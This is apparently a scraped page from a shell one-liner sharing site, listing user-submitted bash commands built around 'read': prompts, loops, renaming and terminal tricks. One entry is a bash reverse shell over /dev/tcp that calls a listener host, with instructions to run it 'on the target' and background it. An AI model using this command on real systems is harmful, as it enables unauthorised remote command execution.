Commands using read (329)

  • time read -sn1 (s:silent, n:number of characters. Press any character to stop)

    time read (ctrl-d to stop)
    mrttlemonde · 2009-03-20 22:50:06 14
  • This version uses read instead of eval.

    read day month year <<< $(date +'%d %m %y')
    putnamhill · 2011-07-29 15:05:19 4
  • Halt script progress until a key has been pressed. Source:

    read -sn 1 -p "Press any key to continue..."
    kalaxy · 2009-11-05 21:53:23 0
  • Why remember? Generate! Up to 48 chars, works on any unix-like system (NB: BSD use md5 instead of md5sum) Show Sample Output

    read -s pass; echo $pass | md5sum | base64 | cut -c -16
    bugmenot · 2011-11-24 20:23:47 9
  • If you have used bash for any scripting, you've used the date command alot. It's perfect for using as a way to create filename's dynamically within aliases,functions, and commands like below.. This is actually an update to my first alias, since a few commenters (below) had good observations on what was wrong with my first command. # creating a date-based ssh-key for ssh-keygen -f ~/.ssh/`date +git-$USER@$HOSTNAME-%m-%d-%g` -C '' # /home/gpl/.ssh/ # create a tar+gzip backup of the current directory tar -czf $(date +$HOME/.backups/%m-%d-%g-%R-`sed -u 's/\//#/g' <<< $PWD`.tgz) . # tar -czf /home/gpl/.backups/04-22-10-01:13-#home#gpl#.rr#src.tgz . I personally find myself having to reference date --help quite a bit as a result. So this nice alias saves me a lot of time. This is one bdash mofo. Works in sh and bash (posix), but will likely need to be changed for other shells due to the parameter substitution going on.. Just extend the sed command, I prefer sed to pretty much everything anyways.. but it's always preferable to put in the extra effort to go for as much builtin use as you can. Otherwise it's not a top one-liner, it's a lazyboy recliner. Here's the old version: alias dateh='date --help|sed "/^ *%%/,/^ *%Z/!d;s/ \+/ /g"|while read l;do date "+ %${l/% */}_${l/% */}_${l#* }";done|column -s_ -t' This trick from my [ bash_profile ] Show Sample Output

    alias dateh='date --help|sed -n "/^ *%%/,/^ *%Z/p"|while read l;do F=${l/% */}; date +%$F:"|'"'"'${F//%n/ }'"'"'|${l#* }";done|sed "s/\ *|\ */|/g" |column -s "|" -t'
    AskApache · 2010-04-21 01:22:18 5
  • in case you run some command in CLI and would like to take read strerr little bit better, you can use the following command. It's also possible to grep it if necessary....

    mycommand 2> >(while read line; do echo -e "\e[01;31m$line\e[0m"; done)
    confiq · 2010-12-30 21:42:42 10

  • 17
    yes "$(seq 232 255;seq 254 -1 233)" | while read i; do printf "\x1b[48;5;${i}m\n"; sleep .01; done
    frans0023 · 2009-07-03 13:58:02 2
  • just for fun

    yes "$(seq 232 255;seq 254 -1 233)" | while read i; do printf "\x1b[48;5;${i}m\n"; sleep .01; done
    pixelbeat · 2009-02-05 12:01:37 1
  • You can ask repeatedly for a non-blank password using this function: function read_password() { while [ ! -n "$USER_PASSWORD" ]; do read -s -p"Password: " USER_PASSWORD if [ ! -n "$USER_PASSWORD" ]; then echo "ERROR: You must specify a valid password, please try again" fi echo done } Also you can set a time out (in seconds) to write the password read -t 10 -s -p"Password: " USER_PASSWORD_VARIABLE if [ ! $? -eq 0 ]; then echo "Time out!" fi

    read -s -p"Password: " USER_PASSWORD_VARIABLE; echo
    h3nr1x · 2011-07-20 20:22:42 0
  • This command takes a 1280x1024 p picture from the webcam. If prefer it smaller, try changing the -s parameter: qqvga is the tiniest, vga is 640x480, svga is 800x600 and so on. Get your smile on and press enter! :)

    read && ffmpeg -y -r 1 -t 3 -f video4linux2 -vframes 1 -s sxga -i /dev/video0 ~/webcam-$(date +%m_%d_%Y_%H_%M).jpeg
    MarxBro · 2013-01-17 11:37:09 7
  • Felt like I need to win the lottery, and wrote this command so I train and develop my guessing abilities. Show Sample Output

    A=1;B=100;X=0;C=0;N=$[$RANDOM%$B+1];until [ $X -eq $N ];do read -p "N between $A and $B. Guess? " X;C=$(($C+1));A=$(($X<$N?$X:$A));B=$(($X>$N?$X:$B));done;echo "Took you $C tries, Einstein";
    rodolfoap · 2009-12-16 13:24:23 1
  • Returns true if user presses the key. Use it like Confirm "Continue" && do action

    Confirm() { read -sn 1 -p "$1 [Y/N]? "; [[ $REPLY = [Yy] ]]; }
    frans · 2010-11-22 11:01:14 4
  • [Update! Thanks to a tip from ioggstream, I've fixed both of the bugs mentioned below.] You, yes, 𝙔𝙊𝙐, can be the terror of the Internet! Why use normal, boring bullet points in your text, when you could use a ROTATED HEAVY BLACK HEART BULLET (❥)!? (Which would also be an awesome band name, by the way).  This script makes it easy to find unusual characters from the command line. You can then cut and paste them or, if you're using a GTK application, type Control+Shift+U followed by the code point number (e.g., 2765) and then a SPACE.  USAGE: Put this script in a file (I called mine "ugrep") and make it executable. Run it from the command line like so,  ugrep heart  The output will look like this,  ☙ U+2619 REVERSED ROTATED FLORAL HEART BULLET ♡ U+2661 WHITE HEART SUIT ♥ U+2665 BLACK HEART SUIT ❣ U+2763 HEAVY HEART EXCLAMATION MARK ORNAMENT ❤ U+2764 HEAVY BLACK HEART ❥ U+2765 ROTATED HEAVY BLACK HEART BULLET ❦ U+2766 FLORAL HEART ❧ U+2767 ROTATED FLORAL HEART BULLET ⺖ U+2E96 CJK RADICAL HEART ONE ⺗ U+2E97 CJK RADICAL HEART TWO ⼼ U+2F3C KANGXI RADICAL HEART  You can, of course, use regular expressions. For example, if you are looking for the "pi" symbol, you could do this:  ugrep '\bpi\b'  REQUIREMENTS: Although this is written in Bash, it assumes you have Perl installed because it greps through the Perl Unicode character name module (/usr/lib/perl5/Unicode/ Note that it would not have made more sense to write this in Perl, since the module doesn't actually include a subroutine for looking up a character based on the description. (Weird.)  BUGS: In order to fit this script in the commandlinefu limits, a couple bugs were added. ① Astral characters beyond the BMP (basic multilingual plane) are not displayed correctly, but see below. ② Perl code from the perl module being grepped is sometimes extraneously matched.  MISFEATURES: Bash's printf cannot, given a Unicode codepoint, print the resulting character to the terminal. GNU's coreutils printf (usually "/usr/bin/printf") can do so, but it is brokenly pedantic about how many hexadecimal digits follow the escape sequence and will actually die with an error if you give the wrong number. This is especially annoying since Unicode code points are usually variable length with implied leading zeros. The file represents BMP characters as 4 hexits, but astral characters as 5. In the actual version of this script that I use, I've kludged around this misfeature by zero-padding to 8 hexits like so,  /usr/bin/printf "\U$(printf "%08x" 0x$hex)"  TIP 1: The author recommends "xsel" for command line cut-and-paste. For example,  ugrep biohazard | xsel  TIP 2: In Emacs, instead of running this command in a subshell, you can type Unicode code points directly by pressing Control-Q first, but you'll likely want to change the default input from octal to hexadecimal. (setq read-quoted-char-radix 16).  TIP 3: Of course, if you're using X, and you want to type one of the more common unusual characters, it's easiest of all to do it with your Compose (aka Multi) key. For example, hitting [Compose] <3 types ♥. Show Sample Output

    egrep -i "^[0-9a-f]{4,} .*$*" $(locate | while read h d; do /usr/bin/printf "\U$(printf "%08x" 0x$h)\tU+%s\t%s\n" $h "$d"; done
    hackerb9 · 2010-12-31 16:47:59 5
  • This command asks for the station name and then connects to somafm, Great for those who have linux home entertainment boxes and ssh enabled on them, just for the CLI fiends out there ( I know I'm one of them ;) Also, don't forget to add this as alias(ie alias somafm="read -p 'Which Station? "; mplayer --reallyquite -vo none -ao sdl

    read -p "Which station? "; mplayer --reallyquiet -vo none -ao sdl${REPLY}.pls
    denzuko · 2009-05-04 00:26:19 8
  • Sqlite database keeps collecting cruft as time passes, which can be cleaned by the 'vacuum;' command. This command cleans up the cruft in all sqlite files relating to the user you have logged in as. This command has to be run when firefox is not running, or it will exit displaying the pid of the firefox running.

    pgrep -u `id -u` firefox-bin || find ~/.mozilla/firefox -name '*.sqlite'|(while read -e f; do echo 'vacuum;'|sqlite3 "$f" ; done)
    kamathln · 2009-08-22 10:36:05 4
  • Rainbow, instead of greys

    yes "$(seq 1 255)" | while read i; do printf "\x1b[48;5;${i}m\n"; sleep .01; done
    unixmonkey4581 · 2009-09-05 04:01:23 0
  • Displays a scrolling banner which loops until you hit Ctrl-C to terminate it. Make sure you finish your banner message with a space so it will loop nicely.

    while [ 1 ]; do banner 'ze missiles, zey are coming! ' | while IFS="\n" read l; do echo "$l"; sleep 0.01; done; done
    craigds · 2009-12-14 07:40:07 2
  • If you want to operate on a set of items in Bash, and at least one of them contains spaces, the `for` loop isn't going to work the way you might expect. For example, if the current dir has two files, named "file" and "file 2", this would loop 3 times (once each for "file", "file", and "2"): for ITEM in `ls`; do echo "$ITEM"; done Instead, use a while loop with `read`: ls | while read ITEM; do echo "$ITEM"; done Show Sample Output

    ls | while read ITEM; do echo "$ITEM"; done
    fletch · 2009-03-22 23:33:13 4

  • 10
    ls | while read f; do mv "$f" "${f// /_}";done
    liam · 2009-08-27 16:43:56 3
  • The important thing to note in this command, is the "-n" flag.

    while read server; do ssh -n user@$server "command"; done < servers.txt
    sharfah · 2009-08-29 06:52:34 0

  • 10
    read -a ARR <<<'world domination now!'; echo ${ARR[2]};
    unefunge · 2010-12-03 16:27:03 2
  • No command substitution but subshell redirection

    read day month year < <(date +'%d %m %y')
    frans · 2011-07-30 06:06:29 1
  • or, to process a single directory: for f in *; do mv $f `echo $f |tr '[:upper:]' '[:lower:]'`; done Show Sample Output

    find . -type f|while read f; do mv $f `echo $f |tr '[:upper:]' '[ :lower:]'`; done
    berta · 2009-02-17 09:44:38 1
  • This is sneaky. First, start a listening service on your box. nc -l 8080 -vvv & On the target you will create a new descriptor which is assigned to a network node. Then you will read and write to that descriptor. exec 5<>/dev/tcp/<your_box>/8080;cat <&5 | while read line; do $line 2>&5 >&5; done You can send it to the background like this: (exec 5<>/dev/tcp/<your-box>/8080;cat <&5 | while read line; do $line 2>&5 >&5;) & Now everything you type in our local listening server will get executed on the target and the output of the commands will be piped back to the client. Show Sample Output

    exec 5<>/dev/tcp/<your-box>/8080;cat <&5 | while read line; do $line 2>&5 >&5; done
    somaddict · 2012-11-16 02:48:01 0
  • Really bored during class so I made this... Basically, you hold period (or whatever) and hit enter after a second and you need to make the next line of periods the same length as the previous line... My record was 5 lines of the same length. It's best if you do it one handed with your pointer on period and ring on enter.

    count="1" ; while true ; do read next ; if [[ "$next" = "$last" ]] ; then count=$(($count+1)) ; echo "$count" ; else count="1" ; echo $count ; fi ; last="$next" ; done
    dabom · 2010-03-30 04:02:29 11
  •  1 2 3 >  Last ›

What's this? is the place to record those command-line gems that you return to again and again. That way others can gain from your CLI wisdom and you from theirs too. All commands can be commented on, discussed and voted up or down.

Share Your Commands

Check These Out

Print entire field if string is detected in column
It searches for a specific value in the specified column and if it finds it it'll print the whole field/row. Similarly, if you don't know what you're looking for exactly but want to exclude something you're already aware of, you can exclude that "something: awk '{ if ($column != "string") print $0}'

Enable verbose boot in Mac OS X Open Firmware

Extract audio stream from an AVI file using mencoder
This commands saves the output in the audio directory. The portion ${file/%avi/mp3} uses bash string replacement to replace the avi to mp3 within the ${file} variable.

Route outbound SMTP connections through a addtional IP address rather than your primary

Extract title from HTML files
not the best, uses 4 pipes!

Load file into RAM (cache) for faster accessing for repeated usage
Best result when file size less than half of RAM size

Get the weather forecast for the next 24 to 48 for your location.
This shell function grabs the weather forecast for the next 24 to 48 hours from Replace <YOURZIPORLOCATION> with your zip code or your "city, state" or "city, country", then calling the function without any arguments returns the weather for that location. Calling the function with a zip code or place name as an argument returns the weather for that location instead of your default. To add a bit of color formatting to the output, use the following instead: $weather(){ curl -s "${@:-}"|perl -ne '/([^

Pull git submodules in parallel using GNU parallel
Make sure to run this command in your git toplevel directory. Modify `-j4` as you like. You can also run any arbitrary command beside `git pull` in parallel on all of your git submodules.

Remotely sniff traffic and pass to snort
I have a small embedded linux device that I wanted to use for sniffing my external network, but I didn't want to recompile/cross-compile snort for the embedded platform. So I used tcpdump over ssh to pass all the traffic as pcap data to a "normal" Linux system that then takes the pcap data and passes it to snort for processing.

Docker: Remove all exited docker container

Stay in the loop…

Follow the Tweets.

Every new command is wrapped in a tweet and posted to Twitter. Following the stream is a great way of staying abreast of the latest commands. For the more discerning, there are Twitter accounts for commands that get a minimum of 3 and 10 votes - that way only the great commands get tweeted.


Subscribe to the feeds.

Use your favourite RSS aggregator to stay in touch with the latest commands. There are feeds mirroring the 3 Twitter streams as well as for virtually every other subset (users, tags, functions,…):

Subscribe to the feed for: